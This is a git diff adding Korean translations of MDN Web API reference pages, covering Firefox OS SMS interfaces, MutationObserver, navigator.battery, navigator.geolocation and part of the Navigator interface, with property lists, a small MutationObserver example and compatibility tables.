+<p style="text-align: center;">This API is available on <a href="/en-US/docs/Mozilla/Firefox_OS">Firefox OS</a> for <a href="/en-US/docs/Mozilla/Firefox_OS/Security/Application_security#App_Types">internal applications</a> only.</p>
+</div>
+
+<div class="note">
+<p><strong>Note:</strong> As of <span title="(Firefox 25.0 / Thunderbird 25.0 / SeaMonkey 2.22)">Gecko 25.0</span>, this interface has been removed in favor of <a href="/en-US/docs/Web/API/MozMobileMessageManager" title="The documentation about this has not yet been written; please consider contributing!"><code>MozMobileMessageManager</code></a>.</p>
+</div>
+
+<h2 id="요약">요약</h2>
+
+<p>기기에서 WebSMS를 사용하여 SMS 메시지 전송과 관리를 할 수 있는 기능을 제공한다.</p>
+
+<h2 id="이벤트_핸들러">이벤트 핸들러</h2>
+
+<dl>
+ <dt>{{domxref("MozSmsManager.ondeliveryerror")}}</dt>
+ <dd>{{event("deliveryerror")}} 이벤트에 대한 핸들러; 이 {{ domxref("MozSmsEvent") }} 는 SMS가 수취인에게 전달되지 않았을 때 발생한다.</dd>
+ <dt>{{domxref("MozSmsManager.ondeliverysuccess")}}</dt>
+ <dd>{{event("deliverysuccess")}} 이벤트에 대한 핸들러; 이 {{ domxref("MozSmsEvent") }} 는 SMS가 수취인에게 전달되었을 때 발생한다.</dd>
+ <dt>{{domxref("MozSmsManager.onreceived")}}</dt>
+ <dd>{{event("received")}} 이벤트에 대한 핸들러; 이 {{ domxref("MozSmsEvent") }} 는 SMS를 받았을 때 발생한다..</dd>
+ <dt>{{domxref("MozSmsManager.onsent")}}</dt>
+ <dd>{{event("sent")}} 이벤트에 대한 핸들러; 이 {{ domxref("MozSmsEvent") }} 는 SMS가 보내졌을 때 발생한다.</dd>
+ <dt>{{domxref("MozSmsManager.onsending")}}</dt>
+ <dd>{{event("sending")}} 이벤트에 대한 핸들러; 이 {{ domxref("MozSmsEvent") }} 는 전송 단계의 시작에 SMS가 진입했을 때 발생한다.</dd>
+ <dt>{{domxref("MozSmsManager.onfailed")}}</dt>
+ <dd>{{event("failed")}} 이벤트에 대한 핸들러; 이 {{ domxref("MozSmsEvent") }} 는 SMS 전송이 실패했을 때 발생한다.</dd>
+</dl>
+
+<h2 id="메소드">메소드</h2>
+
+<dl>
+ <dt>{{domxref("MozSmsManager.delete","MozSmsManager.delete(param)")}}</dt>
+ <dd>메시지를 삭제하고 {{ domxref("DOMRequest") }} 객체를 반환한다 (<code>DOMRequest.result는 메시지가 삭제되었는지 아닌지를 반영하는 Boolean 값이다).</code> 메시지 <code>id</code> 또는 {{ domxref("MozSmsMessage") }} 객체가 파라미터로 사용된다.</dd>
+ <dt>{{domxref("MozSmsManager.getMessage()","MozSmsManager.getMessage(id)")}}</dt>
+ <dd>해당<code> id에 대한 메시지를 받아서 </code>{{ domxref("DOMRequest") }} 객체를 반환한다.  <code>이 객체의 DOMRequest.result는</code> {{ domxref("MozSmsMessage") }} 이다.</dd>
+ <dt>{{domxref("MozSmsManager.getMessages()","MozSmsManager.getMessages(filter, reverseOrder)")}}</dt>
+ <dd>여러 개의 메시지를 받는다. {{ domxref("MozSmsFilter") }} 객체를 사용하여 필터링이 가능하고 두번째 파라미터 boolean 값에 따라 순서를 거꾸로 바꿀 수도 있다. {{ domxref("DOMCursor") }} 를 반환한다.</dd>
+ <dt>{{domxref("MozSmsManager.getSegmentInfoForText()","MozSmsManager.getSegmentInfoForText(text)")}}</dt>
+ <dd>주어진 문자(보통 SMS 당 160 글자)에 대한 멀티 파트 SMS를 만들기 위해 필요한 정보를 가진 {{domxref("MozSmsSegmentInfo")}} 객체를 반환한다.</dd>
+ <dt>{{domxref("MozSmsManager.markMessageRead()","MozSmsManager.markMessageRead(id, isRead)")}}</dt>
+ <dd>해당 <code>id의 메시지를 </code>Boolean <code>isRead 값에 따라 읽음 또는 읽지 않음으로 표시한다. </code>{{ domxref("DOMRequest") }}<code> 객체를 반환한다.</code></dd>
+ <dt>{{domxref("MozSmsManager.send()","MozSmsManager.send(number, message)")}}</dt>
+ <dd>해당 <code>전화번호</code>에 메시지를 전송한다. 만약 <code>number가 </code>{{ domxref("DOMString") }} (한 개의 전화번호)라면 {{ domxref("DOMRequest") }} 객체를 반환한다. 만약 <code>number</code>가 {{ domxref("DOMString") }} 객체의 배열(여러 개의 전화번호)라면 {{ domxref("DOMRequest") }} 객체의 배열을 반환한다.</dd>
+ <dt>{{domxref("MozSmsManager.getThreads()")}}</dt>
+ <dd>{{domxref("MozMobileMessageThread")}}의 목록을 받는다. {{ domxref("DOMCursor") }} 를 반환된다.</dd>
+</dl>
+
+<p><code>MozSmsManager</code> 는 또한 {{domxref("EventTarget")}} 의 메소드를 상속받는다.</p>
+
+<p>{{Page("/en-US/docs/Web/API/EventTarget","Methods")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<p>이 API는 비 표준 스펙의 구현체입니다. 하지만 W3C의 <a href="http://www.w3.org/2012/sysapps/" title="http://www.w3.org/2012/sysapps/">System Application Working Group</a>에서 논의되고 있습니다.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Messaging')}}</td>
+   <td>{{Spec2('Messaging')}}</td>
+   <td>Editor Draft (WIP).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="참고_자료">참고 자료</h2>
+
+<div id="compat-mobile"> </div>
+
+<ul>
+ <li>{{ domxref("window.navigator.mozSms") }}</li>
+ <li>{{ domxref("MozSmsEvent") }}</li>
+</ul>
diff --git a/files/ko/web/api/mozsmsmessage/index.html b/files/ko/web/api/mozsmsmessage/index.html
new file mode 100644
index 0000000000..7918a44209
--- /dev/null
+++ b/files/ko/web/api/mozsmsmessage/index.html
@@ -0,0 +1,56 @@
+---
+title: MozSmsMessage
+slug: Web/API/MozSmsMessage
+tags:
+  - Non-standard
+translation_of: Archive/B2G_OS/API/MozSmsMessage
+---
+<p>{{ ApiRef() }}</p>
+
+<p>{{ non-standard_header() }}</p>
+
+<p>{{ B2GOnlyHeader2('certified') }}</p>
+
+<h2 id="요약">요약</h2>
+
+<p>DOM <code>MozSmsMessage</code> 객체는 SMS 문자 메시지를 나타내며 발신자, 수신자, 본문, 날짜와 같은 모든 정보를 가지고 있다.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{domxref("MozSmsMessage.type")}} {{readonlyinline}}</dt>
+ <dd><code>sms라는 값을 가지는 문자열이다</code>.</dd>
+ <dt>{{domxref("MozSmsMessage.id")}} {{readonlyinline}}</dt>
+ <dd>메시지의 id를 나타내는 숫자를 반환한다.</dd>
+ <dt>{{domxref("MozSmsMessage.threadId")}} {{readonlyinline}}</dt>
+ <dd>메시지 일부의 스레드의 id를 나타내는 숫자를 반환한다.</dd>
+ <dt>{{domxref("MozSmsMessage.body")}} {{readonlyinline}}</dt>
+ <dd>메시지의 본문을 나타내는 {{ domxref("DOMString") }} 를 반환한다.</dd>
+ <dt>{{domxref("MozSmsMessage.delivery")}} {{readonlyinline}}</dt>
+ <dd><code>received</code>, <code>sending</code>, <code>sent</code>, <code>error</code> 중 하나의 {{ domxref("DOMString") }} 을 반환한다.</dd>
+ <dt>{{domxref("MozSmsMessage.deliveryStatus")}} {{readonlyinline}}</dt>
+ <dd><code>delivery 속성 값에 따라 다음과 같은 </code>{{ domxref("DOMString") }} 을 반환한다:<br>
+ * <code>received</code> : <code>success</code><br>
+ * <code>sending </code> : <code>pending</code> 또는 <code>not-applicable</code> (만약 메시지가 상태 보고 요청없이 전송되었다면)<br>
+ * <code>sent    </code> : <code>pending</code>, <code>success</code>, <code>error</code> 또는 <code>not-applicable</code> (만약 메시지가 상태 보고 요청없이 전송되었다면)<br>
+ * <code>error   </code> : <code>error</code></dd>
+ <dt>{{domxref("MozSmsMessage.read")}} {{readonlyinline}}</dt>
+ <dd>메시지를 읽었는지 읽지 않았는지를 가리키는 Boolean을 반환한다.</dd>
+ <dt>{{domxref("MozSmsMessage.receiver")}} {{readonlyinline}}</dt>
+ <dd>수신자 이름을 나타내는 {{ domxref("DOMString") }} 을 반환한다.</dd>
+ <dt>{{domxref("MozSmsMessage.sender")}} {{readonlyinline}}</dt>
+ <dd>발신자 이름을 나타내는 {{ domxref("DOMString") }} 을 반환한다.</dd>
+ <dt>{{domxref("MozSmsMessage.timestamp")}} {{readonlyinline}}</dt>
+ <dd>메시지의 타임스탬프인 <code><a href="/en/JavaScript/Reference/Global_Objects/Date" title="Date">Date</a> 객체를 반환한다.</code></dd>
+ <dt>{{domxref("MozSmsMessage.messageClass")}} {{readonlyinline}}</dt>
+ <dd><code>normal</code>, <code>class-0</code>, <code>class-1</code>, <code>class-2</code>, <code>class-3</code> 중 하나의 {{ domxref("DOMString") }} 을 반환한다.</dd>
+</dl>
+
+<h2 id="참고_자료">참고 자료</h2>
+
+<div id="compat-mobile"> </div>
+
+<ul>
+ <li>{{ domxref("window.navigator.mozSms") }}</li>
+ <li>{{ domxref("MozSmsManager") }}</li>
+</ul>
diff --git a/files/ko/web/api/mozsmssegmentinfo/index.html b/files/ko/web/api/mozsmssegmentinfo/index.html
new file mode 100644
index 0000000000..02f324b453
--- /dev/null
+++ b/files/ko/web/api/mozsmssegmentinfo/index.html
@@ -0,0 +1,36 @@
+---
+title: MozSmsSegmentInfo
+slug: Web/API/MozSmsSegmentInfo
+tags:
+  - Non-standard
+translation_of: Archive/B2G_OS/API/MozSmsSegmentInfo
+---
+<p>{{ ApiRef() }}</p>
+
+<p>{{ non-standard_header() }}</p>
+
+<h2 id="요약">요약</h2>
+
+<p>DOM <code>MozSmsSegmentInfo</code> 인터페이스는 문자가 자동으로 어떻게 세그멘트로 나누어지는에 관한 정보를 제공합니다. 각 세그먼트는 멀티 파트 SMS 메시지의 단일 SMS를 나타냅니다.</p>
+
+<p><code>MozSmsSegmentInfo</code> 인터페이스는 직접적으로 인스턴스화 될 수 없습니다; 각 객체를 얻기 위해서는 {{domxref("MozSmsManager.getSegmentInfoForText()")}} 메소드를 사용하십시오.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{domxref("MozSmsSegmentInfo.segments")}} {{readonlyinline}}</dt>
+ <dd>입력 문자열에 대한 총 세그먼트의 개수이다.</dd>
+ <dt>{{domxref("MozSmsSegmentInfo.charsPerSegment")}} {{readonlyinline}}</dt>
+ <dd>각 세그먼트당 사용 가능한 문자의 개수이다.</dd>
+ <dt>{{domxref("MozSmsSegmentInfo.charsAvailableInLastSegment")}} {{readonlyinline}}</dt>
+ <dd>마지막 세그먼트에서 사용 가능한 문자의 최대 개수이다.</dd>
+</dl>
+
+<h2 id="참고_자료">참고 자료</h2>
+
+<div id="compat-mobile"> </div>
+
+<ul>
+ <li>{{ domxref("window.navigator.mozSms") }}</li>
+ <li>{{ domxref("MozSmsManager") }}</li>
+</ul>
diff --git a/files/ko/web/api/mutationobserver/index.html b/files/ko/web/api/mutationobserver/index.html
new file mode 100644
index 0000000000..092b7c5634
--- /dev/null
+++ b/files/ko/web/api/mutationobserver/index.html
@@ -0,0 +1,240 @@
+---
+title: MutationObserver
+slug: Web/API/MutationObserver
+translation_of: Web/API/MutationObserver
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p><code>MutationObserver</code> 는 개발자들에게 <a href="/en-US/docs/DOM">DOM</a> 변경 감시를 제공합니다. DOM3 이벤트 기술 설명서에 정의된 <a href="/en-US/docs/DOM/Mutation_events">Mutation Events</a> 를 대체합니다.</p>
+
+<h2 id="생성자">생성자</h2>
+
+<h3 id="MutationObserver"><code>MutationObserver()</code></h3>
+
+<p>새 DOM 변경 감시자의 인스턴스화에 대한 생성자.</p>
+
+<pre class="syntaxbox">new MutationObserver(
+  function callback
+);
+</pre>
+
+<h6 id="Parameters">Parameters</h6>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>콜백 함수는 각 DOM 변경시 마다 호출될 것입니다. 감시자는 두 인자와 함께 이 함수를 호출할 것입니다. 첫째 인자는 오브젝트들의 배열이며, 오브젝트의 각 형식은 {{domxref("MutationRecord")}} 입니다. 둘째 인자는 이 <code>MutationObserver</code> 인스턴스 입니다.</dd>
+</dl>
+
+<h2 id="인스턴스_함수들">인스턴스 함수들</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>void <a href="#observe()">observe</a>( {{domxref("Node")}} target, <a href="#MutationObserverInit">MutationObserverInit</a> options );</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#disconnect()">disconnect</a>();</code></td>
+  </tr>
+  <tr>
+   <td><code>Array <a href="#takeRecords()">takeRecords</a>();</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>주</strong>: {{domxref("Node")}}의 대상은 <a href="https://nodejs.org/en/">NodeJS</a> 와 혼동되지 말아야 합니다.</p>
+</div>
+
+<h3 id="observe"><code>observe()</code></h3>
+
+<p>특정 노드에서 DOM 변경의 알림을 받을 수 있도록 <code>MutationObserver</code> 인스턴스를 등록.</p>
+
+<pre class="syntaxbox">void observe(
+  {{domxref("Node")}} target,
+  <a href="#MutationObserverInit"><code>MutationObserverInit</code></a> options
+);
+</pre>
+
+<h6 id="파라미터">파라미터</h6>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>DOM 변경을 감시할 {{domxref("Node")}}.</dd>
+ <dt><code>options</code></dt>
+ <dd>DOM 변경이 보고되어야 할 특정 <a href="#MutationObserverInit"><code>MutationObserverInit</code></a> 객체.</dd>
+</dl>
+
+<div class="note">주: observer를 element에 추가하는 것은 addEventListner와 비슷하며, 여러 번 element를 관찰하더라도 차이가 나지 않습니다. element를 두번 관찰한다고해서 observe callback이 두 번 발생하지 않으며, disconnect()를 두번 실행하지 않아도 됩니다. 다시 말해서, 한번 element를 관찰하면 동일한 observer instance로 다시 관찰하더라도 아무 일이 발생하지 않습니다. 물론 callback object가 다르다면 다른 observer를 추가합니다.</div>
+
+<h3 id="disconnect"><code>disconnect()</code></h3>
+
+<p>DOM 변경 알림을 받는 <code>MutationObserver</code> 인스턴스 중지. <a href="#observe()"><code>observe()</code></a> 재사용시까지 감시 콜백은 발동되지 않을 것입니다.</p>
+
+<pre class="syntaxbox">void disconnect();
+</pre>
+
+<h3 id="takeRecords"><code>takeRecords()</code></h3>
+
+<p><code>MutationObserver</code> 인스턴스의 레코드 큐를 비우고 안에 든것을 반환합니다.</p>
+
+<pre class="syntaxbox">Array takeRecords();
+</pre>
+
+<h6 id="반환값">반환값</h6>
+
+<p>{{domxref("MutationRecord")}}들의 배열을 반환.</p>
+
+<h2 id="MutationObserverInit"><code>MutationObserverInit</code></h2>
+
+<p><code>MutationObserverInit</code> 는 다음 속성들을 가진 객체입니다:</p>
+
+<div class="note">주: 최소한 <code>childList</code>, <code>attributes</code>, 또는 <code>characterData</code>는 <code>true</code>로 설정해야합니다. 그렇지 않으면 'An invalid or ilegal string was specified' 오류가 발생합니다. </div>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">속성</td>
+   <td class="header">설명</td>
+  </tr>
+  <tr>
+   <td><code>childList</code></td>
+   <td>Set to <code>true</code> if additions and removals of the target node's child elements (including text nodes) are to be observed.</td>
+  </tr>
+  <tr>
+   <td><code>attributes</code></td>
+   <td>Set to <code>true</code> if mutations to target's attributes are to be observed.</td>
+  </tr>
+  <tr>
+   <td><code>characterData</code></td>
+   <td>Set to <code>true</code> if mutations to target's data are to be observed.</td>
+  </tr>
+  <tr>
+   <td><code>subtree</code></td>
+   <td>Set to <code>true</code> if mutations to target and target's descendants are to be observed.</td>
+  </tr>
+  <tr>
+   <td><code>attributeOldValue</code></td>
+   <td>Set to <code>true</code> if <code>attributes</code> is set to <code>true</code> and target's attribute value before the mutation needs to be recorded.</td>
+  </tr>
+  <tr>
+   <td><code>characterDataOldValue</code></td>
+   <td>Set to <code>true</code> if <code>characterData</code> is set to <code>true</code> and target's data before the mutation needs to be recorded.</td>
+  </tr>
+  <tr>
+   <td><code>attributeFilter</code></td>
+   <td>Set to an array of attribute local names (without namespace) if not all attribute mutations need to be observed.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="사용_예">사용 예</h2>
+
+<p>다음 예제는 <a class="external" href="http://hacks.mozilla.org/2012/05/dom-mutationobserver-reacting-to-dom-changes-without-killing-browser-performance/" rel="freelink">이 블로그 글</a>에서 발췌했습니다.</p>
+
+<pre class="brush: js">// 대상 node 선택
+var target = document.getElementById('some-id');
+
+// 감시자 인스턴스 만들기
+var observer = new MutationObserver(function(mutations) {
+  mutations.forEach(function(mutation) {
+    console.log(mutation.type);
+  });
+});
+
+// 감시자의 설정:
+var config = { attributes: true, childList: true, characterData: true };
+
+// 감시자 옵션 포함, 대상 노드에 전달
+observer.observe(target, config);
+
+// 나중에, 감시를 중지 가능
+observer.disconnect();
+</pre>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li><a class="external" href="http://updates.html5rocks.com/2012/02/Detect-DOM-changes-with-Mutation-Observers" rel="freelink">A brief overview</a></li>
+ <li><a class="external" href="http://hacks.mozilla.org/2012/05/dom-mutationobserver-reacting-to-dom-changes-without-killing-browser-performance/" rel="freelink">A more in-depth discussion</a></li>
+ <li><a class="external" href="http://www.youtube.com/watch?v=eRZ4pO0gVWw" rel="freelink">A screencast by Chromium developer Rafael Weinstein</a></li>
+ <li><a class="external" href="http://code.google.com/p/mutation-summary/" rel="freelink">The mutation summary library</a></li>
+</ul>
+
+<h2 id="Specifications" name="Specifications">규격</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">규격</th>
+   <th scope="col">상태</th>
+   <th scope="col">의견</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#mutationobserver', 'MutationObserver')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM4', '#mutationobserver', 'MutationObserver')}}</td>
+   <td>{{ Spec2('DOM4') }}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>크롬</th>
+   <th>파이어폭스 (Gecko)</th>
+   <th>인터넷 익스플로러</th>
+   <th>오페라</th>
+   <th>사파리</th>
+  </tr>
+  <tr>
+   <td>기본 지원</td>
+   <td>18 {{property_prefix("-webkit")}}<br>
+    26</td>
+   <td>{{CompatGeckoDesktop(14)}}</td>
+   <td>11</td>
+   <td>15</td>
+   <td>6.0 {{property_prefix("-webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>안드로이드</th>
+   <th>안드로이드용 크롬</th>
+   <th>파이어폭스 모바일 (Gecko)</th>
+   <th>IE 폰</th>
+   <th>오페라 모바일</th>
+   <th>사파리 모바일</th>
+  </tr>
+  <tr>
+   <td>기본 지원</td>
+   <td>4.4</td>
+   <td>18 {{property_prefix("-webkit")}}<br>
+    26</td>
+   <td>{{CompatGeckoMobile(14)}}</td>
+   <td>11 (8.1)</td>
+   <td>15</td>
+   <td>6 {{property_prefix("-webkit")}}<br>
+    7</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ko/web/api/navigator/battery/index.html b/files/ko/web/api/navigator/battery/index.html
new file mode 100644
index 0000000000..1acf5f111b
--- /dev/null
+++ b/files/ko/web/api/navigator/battery/index.html
@@ -0,0 +1,24 @@
+---
+title: window.navigator.battery
+slug: Web/API/Navigator/battery
+translation_of: Web/API/Navigator/battery
+---
+<p>{{ Apiref() }}</p>
+<h2 id="요약">요약</h2>
+<p><code>battery 객체는 시스템의 배터리 충전 상태에 대한 정보를 제공합니다. 배터리의 충전 상태가 변화할때 발생하는 이벤트에 대한 처리도 가능 합니다. 이 객체는 </code><a href="/en-US/docs/WebAPI/Battery_Status" title="/en-US/docs/WebAPI/Battery_Status">Battery Status API</a> 의 구현입니다. 보다 자세한 내용, API, 샘플 코드 등은 문서를 참고 해 주세요.</p>
+<h2 id="Syntax" name="Syntax">문법</h2>
+<pre class="syntaxbox">var battery = window.navigator.battery;</pre>
+<h2 id="값">값</h2>
+<p><code>navigator.battery</code> 는 {{domxref("BatteryManager")}} 객체 입니다.</p>
+<h2 id="명세">명세</h2>
+<p>{{page("/en-US/docs/Web/API/BatteryManager","Specifications")}}</p>
+<h2 id="브라우저_호환">브라우저 호환</h2>
+<p style="color: rgb(77, 78, 83);">{{page("/en-US/docs/Web/API/BatteryManager","Browser_compatibility")}}</p>
+<p><span style="font-family: Georgia, Times, 'Times New Roman', serif; font-size: 1.628em; font-weight: 700; letter-spacing: -1px; line-height: 22.79199981689453px;">참고</span></p>
+<ul>
+ <li>{{domxref("BatteryManager")}}</li>
+ <li><a href="/en-US/docs/WebAPI/Battery_Status" title="/en-US/docs/WebAPI/Battery_Status">Battery Status API</a> 문서</li>
+ <li><a class="external" href="http://hacks.mozilla.org/2012/02/using-the-battery-api-part-of-webapi/">블로그 - Using the Battery API</a></li>
+ <li><a class="external" href="http://davidwalsh.name/battery-api" title="http://davidwalsh.name/battery-api">David Walsh 가 쓴 the JavaScript Battery Api</a></li>
+ <li><a href="https://github.com/pstadler/battery.js" title="https://github.com/pstadler/battery.js">battery.js - 경량의 크로스 브라우저 랩퍼(wrapper)</a></li>
+</ul>
diff --git a/files/ko/web/api/navigator/geolocation/index.html b/files/ko/web/api/navigator/geolocation/index.html
new file mode 100644
index 0000000000..602e294065
--- /dev/null
+++ b/files/ko/web/api/navigator/geolocation/index.html
@@ -0,0 +1,50 @@
+---
+title: Navigator.geolocation
+slug: Web/API/Navigator/geolocation
+tags:
+  - API
+  - Geolocation API
+  - Navigator
+  - Property
+  - Reference
+  - Secure context
+translation_of: Web/API/Navigator/geolocation
+---
+<div>{{securecontext_header}}{{APIRef("Geolocation API")}}</div>
+
+<p><strong><code>Navigator.geolocation</code></strong> 읽기 전용 속성은 웹에서 장치의 위치를 알아낼 때 사용할 수 있는 {{domxref("Geolocation")}} 객체를 반환합니다. 웹 사이트나 웹 앱은 위치정보를 사용해 결과 화면을 맞춤 설정할 수 있습니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 보안 상의 문제로, 웹 페이지가 위치 정보에 접근을 시도하면 사용자에게 알림을 보내고 권한을 허용할지 묻습니다. 각 브라우저는 자신만의 권한 정책과 요청 방식을 가지고 있으므로 주의해야 합니다.</p>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#dom-navigator-geolocation', 'Navigator.geolocation')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Navigator.geolocation")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/WebAPI/Using_geolocation">위치정보 사용하기</a></li>
+</ul>
diff --git a/files/ko/web/api/navigator/index.html b/files/ko/web/api/navigator/index.html
new file mode 100644
index 0000000000..62f16807f7
--- /dev/null
+++ b/files/ko/web/api/navigator/index.html
@@ -0,0 +1,137 @@
+---
+title: Navigator
+slug: Web/API/Navigator
+tags:
+  - API
+  - DOM
+  - Interface
+  - Navigator
+  - Reference
+  - Web
+translation_of: Web/API/Navigator
+---
+<div>{{APIRef("DOM4")}}</div>
+
+<p><code><strong>Navigator</strong></code> 인터페이스는 {{glossary("user agent", "사용자 에이전트")}}의 상태와 신원 정보를 나타냅내며, 스크립트로 해당 정보를 질의할 때와 애플리케이션을 특정 활동에 등록할 때 사용합니다.</p>
+
+<p><code>Navigator</code> 객체는 {{domxref("window.navigator")}} 읽기 전용 속성으로 접근할 수 있습니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<p>아무 속성도 상속하지 않지만, {{domxref("NavigatorID")}}, {{domxref("NavigatorLanguage")}}, {{domxref("NavigatorOnLine")}}, {{domxref("NavigatorContentUtils")}}, {{domxref("NavigatorStorage")}}, {{domxref("NavigatorStorageUtils")}}, {{domxref("NavigatorConcurrentHardware")}}, {{domxref("NavigatorPlugins")}}, {{domxref("NavigatorUserMedia")}}가 정의한 속성을 구현합니다.</p>
+
+<h3 id="표준_속성">표준 속성</h3>
+
+<dl>
+ <dt>{{domxref("Navigator.connection")}} {{readonlyInline}} {{experimental_inline}}</dt>
+ <dd>장치의 네트워크 연결 정보를 담은 {{domxref("NetworkInformation")}} 객체를 반환합니다.</dd>
+ <dt>{{domxref("Navigator.cookieEnabled")}} {{readonlyinline}}</dt>
+ <dd>{{glossary("cookie", "쿠키")}} 설정을 할 수 있으면 참, 아니면 거짓을 반환합니다.</dd>
+ <dt>{{domxref("Navigator.credentials")}} {{readonlyInline}}</dt>
+ <dd>사용자 인증 정보를 요청하고, 로그인과 회원가입 등 중요한 이벤트의 발생을 {{glossary("user agent", "사용자 에이전트")}}에 알려줄 수 있는 {{domxref("CredentialsContainer")}} 인터페이스를 반환합니다.</dd>
+ <dt>{{domxref("Navigator.deviceMemory")}} {{readonlyInline}} {{experimental_inline}}</dt>
+ <dd>장치의 메모리를 기가바이트 단위로 반환합니다. 근삿값으로서, 실제 값을 가장 가까운 2의 배수로 반올림한 후에 1024로 나눠서 제공합니다.</dd>
+ <dt>{{domxref("Navigator.doNotTrack")}} {{readonlyInline}} {{experimental_inline}}</dt>
+ <dd>사용자의 추적 거부 설정 값을 반환합니다. 값이 "<code>yes</code>"면 웹 사이트 또는 앱에서 사용자를 추적하지 않아야 합니다.</dd>
+ <dt>{{domxref("Navigator.geolocation")}} {{readonlyInline}}</dt>
+ <dd>장치의 위치 정보에 접근할 수 있는 {{domxref("Geolocation")}} 객체를 반환합니다.</dd>
+ <dt>{{domxref("NavigatorConcurrentHardware.hardwareConcurrency")}} {{readonlyInline}}</dt>
+ <dd>중앙처리장치의 사용 가능한 논리 코어 수를 반환합니다.</dd>
+ <dt>{{domxref("NavigatorPlugins.javaEnabled")}} {{readonlyInline}}</dt>
+ <dd>호스트 브라우저에서 Java를 사용 가능한지 나타냅니다.</dd>
+ <dt>{{domxref('Navigator.keyboard')}} {{readonlyinline}} {{experimental_inline}}</dt>
+ <dd>Returns a {{domxref('Keyboard')}} object which provides access to functions that retrieve keyboard layout maps and toggle capturing of key presses from the physical keyboard.</dd>
+ <dt>{{domxref("NavigatorLanguage.language")}} {{readonlyInline}}</dt>
+ <dd>사용자의 선호 언어(주로 브라우저 UI 언어)를 나타내는 {{domxref("DOMString")}}을 반환합니다. 언어를 알 수 없는 경우 <code>null</code>을 반환합니다.</dd>
+ <dt>{{domxref("NavigatorLanguage.languages")}} {{readonlyInline}} {{experimental_inline}}</dt>
+ <dd>사용자에게 알려진 언어 목록을 나타내는 {{domxref("DOMString")}} 배열을 반환합니다. 정렬 순서는 사용자의 언어 선호도입니다.</dd>
+ <dt>{{domxref("Navigator.locks")}} {{readonlyinline}} {{experimental_inline}}</dt>
+ <dd>새로운 {{domxref("Lock")}} 객체를 요청하거나, 기존 Lock 객체를 질의할 수 있는 {{domxref("LockManager")}} 객체를 반환합니다.</dd>
+ <dt>{{domxref("Navigator.maxTouchPoints")}} {{readonlyInline}}</dt>
+ <dd>현재 장치에서 지원하는 최대 동시 터치 지점의 수를 반환합니다.</dd>
+ <dt>{{domxref("Navigator.mediaCapabilities")}} {{readonlyinline}} {{experimental_inline}}</dt>
+ <dd>주어진 형식과 출력 형태에 대한 인코딩 및 디코딩 능력을 알아낼 수 있는 {{domxref("MediaCapabilities")}} 객체를 반환합니다.</dd>
+ <dt>{{domxref("Navigator.mediaDevices")}} {{readonlyinline}}</dt>
+ <dd>Returns a reference to a {{domxref("MediaDevices")}} object which can then be used to get information about available media devices ({{domxref("MediaDevices.enumerateDevices()")}}), find out what constrainable properties are supported for media on the user's computer and user agent ({{domxref("MediaDevices.getSupportedConstraints()")}}), and to request access to media using {{domxref("MediaDevices.getUserMedia()")}}.</dd>
+ <dt>{{domxref("Navigator.mediaSession")}} {{readonlyinline}} {{experimental_inline}}</dt>
+ <dd>Returns {{domxref("MediaSession")}} object which can be used to provide metadata that can be used by the browser to present information about the currently-playing media to the user, such as in a global media controls UI.</dd>
+ <dt>{{domxref("NavigatorPlugins.mimeTypes")}} {{readonlyInline}}</dt>
+ <dd>Returns an {{domxref("MimeTypeArray")}} listing the MIME types supported by the browser.</dd>
+ <dt>{{domxref("Navigator.onLine")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("Boolean")}} indicating whether the browser is working online.</dd>
+ <dt>{{domxref("Navigator.permissions")}} {{readonlyinline}} {{experimental_inline}}</dt>
+ <dd>Returns a {{domxref("Permissions")}} object that can be used to query and update permission status of APIs covered by the <a href="/en-US/docs/Web/API/Permissions_API">Permissions API</a>.</dd>
+ <dt>{{domxref("NavigatorPlugins.plugins")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("PluginArray")}} listing the plugins installed in the browser.</dd>
+ <dt>{{domxref("Navigator.presentation")}} {{readonlyInline}} {{experimental_inline}}</dt>
+ <dd>Returns a reference to the {{domxref("Presentation")}} API.</dd>
